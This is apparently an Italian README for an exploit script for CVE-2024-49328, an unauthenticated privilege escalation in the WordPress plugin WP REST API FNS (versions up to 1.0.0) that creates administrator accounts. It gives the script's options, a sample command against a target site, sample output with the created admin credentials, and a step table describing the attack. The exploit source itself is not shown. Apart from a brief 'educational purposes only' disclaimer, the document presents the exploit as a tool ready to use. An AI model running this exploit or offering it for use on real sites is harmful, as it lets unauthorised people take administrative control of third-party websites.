nxploited/cve-2024-49328-exploitScript Python per sfruttare una vulnerabilità di escalation dei privilegi nel plugin WordPress WP REST API FNS, che consente la creazione non autenticata di account amministratore.
Questo script sfrutta una vulnerabilità di escalation dei privilegi nel plugin WP REST API FNS per WordPress. La vulnerabilità interessa tutte le versioni fino alla 1.0.0 inclusa, consentendo a utenti non autenticati di ottenere privilegi di amministratore.
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress site
-e NEWEMAIL, --Newemail NEWEMAIL New email to register
-p PASSWORD, --password PASSWORD Password for the new user
Comando di esempio:
python CVE-2024-49328.py -u http://targetsite.com -e [email protected] -p password123
Found Stable tag version: 1.0.0
Version 1.0.0 is exploitable.
Exploiting the site... Please wait.
Successfully
Username: [email protected]
Password: nxploit
pip install requests
🚨 Avvertenza:
Questo script è solo per scopi educativi. L'uso non autorizzato di questo script su sistemi senza esplicito permesso è illegale e non etico.
| Passo | Descrizione | Icona |
|---|
| Passo 1 | Verifica della versione del plugin. | 📝 |
| Passo 2 | Controlla se la versione è sfruttabile (1.0.0 o precedenti). | ✅ |
| Passo 3 | Sfrutta la vulnerabilità e registra un nuovo utente admin. | 🔒 |
| Passo 4 | Stampa il risultato con le credenziali utente per la verifica. | 🎉 |